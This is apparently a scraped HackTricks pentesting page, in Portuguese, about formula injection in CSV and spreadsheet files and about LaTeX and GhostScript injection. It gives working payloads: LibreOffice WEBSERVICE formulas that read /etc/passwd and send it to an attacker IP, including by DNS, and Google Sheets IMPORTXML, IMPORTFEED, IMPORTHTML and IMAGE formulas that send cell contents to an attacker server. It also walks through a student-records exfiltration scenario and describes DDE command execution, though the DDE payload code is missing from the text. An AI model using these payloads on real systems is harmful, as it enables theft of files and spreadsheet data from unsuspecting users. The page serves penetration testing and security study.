Formula/CSV/Doc/LaTeX/GhostScript Injection
Last updated
Last updated
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Se sua entrada está sendo refletida dentro de arquivos CSV (ou qualquer outro arquivo que provavelmente será aberto pelo Excel), você pode ser capaz de colocar fórmulas do Excel que serão executadas quando o usuário abrir o arquivo ou quando o usuário clicar em algum link dentro da planilha do excel.
Atualmente, o Excel alertará (várias vezes) o usuário quando algo for carregado de fora do Excel para impedi-lo de ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
O seguinte exemplo é muito útil para exfiltrar conteúdo da planilha final do excel e para realizar requisições a locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos).
O seguinte exemplo foi retirado de https://payatu.com/csv-injection-basic-to-exploit
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Estudantes sendo explorada através de um ataque de injeção CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
Injeção de Payload Malicioso:
O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, =HYPERLINK("<malicious_link>","Clique aqui")
).
Esta fórmula é projetada para criar um hyperlink, mas aponta para um servidor malicioso controlado pelo atacante.
Exportação de Dados Comprometidos:
Professores, sem saber da violação, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
O arquivo CSV, ao ser aberto, ainda contém o payload malicioso. Este payload aparece como um hyperlink clicável na planilha.
Acionando o Ataque:
Um professor clica no hyperlink, acreditando que seja uma parte legítima dos detalhes do aluno.
Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
Registro dos Dados:
O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e a segurança dos alunos e da instituição.
Verifique o post original para mais detalhes.
Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Dynamic Data Exchange (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem ser habilitadas:
Navegue até Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo, e habilite Lançamento do Servidor de Troca de Dados Dinâmicos.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para lançar o aplicativo de calculadora, o payload seria:
Comandos adicionais também podem ser executados, como baixar e executar um arquivo usando PowerShell:
O LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:
Lendo a primeira linha do arquivo local /etc/passwd
: ='file:///etc/passwd'#$passwd.A1
Exfiltrando os dados lidos para um servidor controlado pelo atacante: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Exfiltrando mais de uma linha: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
O Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
CONCATENATE: Anexa strings - =CONCATENATE(A2:E2)
IMPORTXML: Importa dados de tipos de dados estruturados - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Importa feeds RSS ou ATOM - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Importa dados de tabelas ou listas HTML - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Importa um intervalo de células de outra planilha - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Insere uma imagem em uma célula - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Normalmente, os servidores que você encontrará na internet que convertem código LaTeX em PDF usam pdflatex
.
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
--no-shell-escape
: Desabilita o construto \write18{command}
, mesmo que esteja habilitado no arquivo texmf.cnf.
--shell-restricted
: Igual a --shell-escape
, mas limitado a um conjunto 'seguro' de comandos **predefinidos (**No Ubuntu 16.04, a lista está em /usr/share/texmf/web2c/texmf.cnf
).
--shell-escape
: Habilita o construto \write18{command}
. O comando pode ser qualquer comando de shell. Este construto normalmente é desabilitado por razões de segurança.
No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar --shell-restricted
.
Você pode precisar ajustar a injeção com wrappers como [ ou $.
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
Se você receber algum erro de LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
De @EdOverflow
Verifique https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)